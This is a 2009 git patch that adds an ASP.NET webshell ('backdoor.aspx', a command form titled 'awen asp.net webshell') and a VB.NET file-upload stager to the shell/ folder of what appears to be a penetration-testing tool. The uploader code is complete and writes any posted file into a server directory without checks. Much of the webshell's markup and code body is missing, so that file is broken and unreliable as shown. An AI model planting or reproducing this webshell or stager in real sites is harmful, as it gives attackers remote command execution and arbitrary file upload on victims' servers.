From 32067cb676ddb05435f1de3cddcf2cb1a246248c Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 15 Jun 2009 14:54:36 +0000 Subject: [PATCH] Added ASPX shell and stager --- shell/backdoor.aspx | 42 ++++++++++++++++++++++++++++++++++++++++++ shell/uploader.aspx | 23 +++++++++++++++++++++++ shell/uploader.aspx.vb | 41 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 106 insertions(+) create mode 100644 shell/backdoor.aspx create mode 100644 shell/uploader.aspx create mode 100644 shell/uploader.aspx.vb diff --git a/shell/backdoor.aspx b/shell/backdoor.aspx new file mode 100644 index 000000000..b420c875a --- /dev/null +++ b/shell/backdoor.aspx @@ -0,0 +1,42 @@ +<%@ Page Language="C#" Debug="true" Trace="false" %> +<%@ Import Namespace="System.Diagnostics" %> +<%@ Import Namespace="System.IO" %> + + + +awen asp.net webshell + + +
+ + +Command: +
+ + + + + diff --git a/shell/uploader.aspx b/shell/uploader.aspx new file mode 100644 index 000000000..e424229ab --- /dev/null +++ b/shell/uploader.aspx @@ -0,0 +1,23 @@ +<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%> + + + + WebForm1 + + + + + + + +
+ + +
+ + + +
+ + + diff --git a/shell/uploader.aspx.vb b/shell/uploader.aspx.vb new file mode 100644 index 000000000..b7a249df4 --- /dev/null +++ b/shell/uploader.aspx.vb @@ -0,0 +1,41 @@ +Public Class WebForm1 + Inherits System.Web.UI.Page + Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile + Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton + +#Region " Web Form Designer Generated Code " + + 'This call is required by the Web Form Designer. + Private Sub InitializeComponent() + + End Sub + + Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init + 'CODEGEN: This method call is required by the Web Form Designer + 'Do not modify it using the code editor. + InitializeComponent() + End Sub + +#End Region + + Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + 'Put user code to initialize the page here + End Sub + + Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick + + If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then + Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName) + Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn + Try + File1.PostedFile.SaveAs(SaveLocation) + Response.Write("The file has been uploaded.") + Catch Exc As Exception + Response.Write("Error: " & Exc.Message) + End Try + Else + Response.Write("Please select a file to upload.") + End If + + End Sub +End Class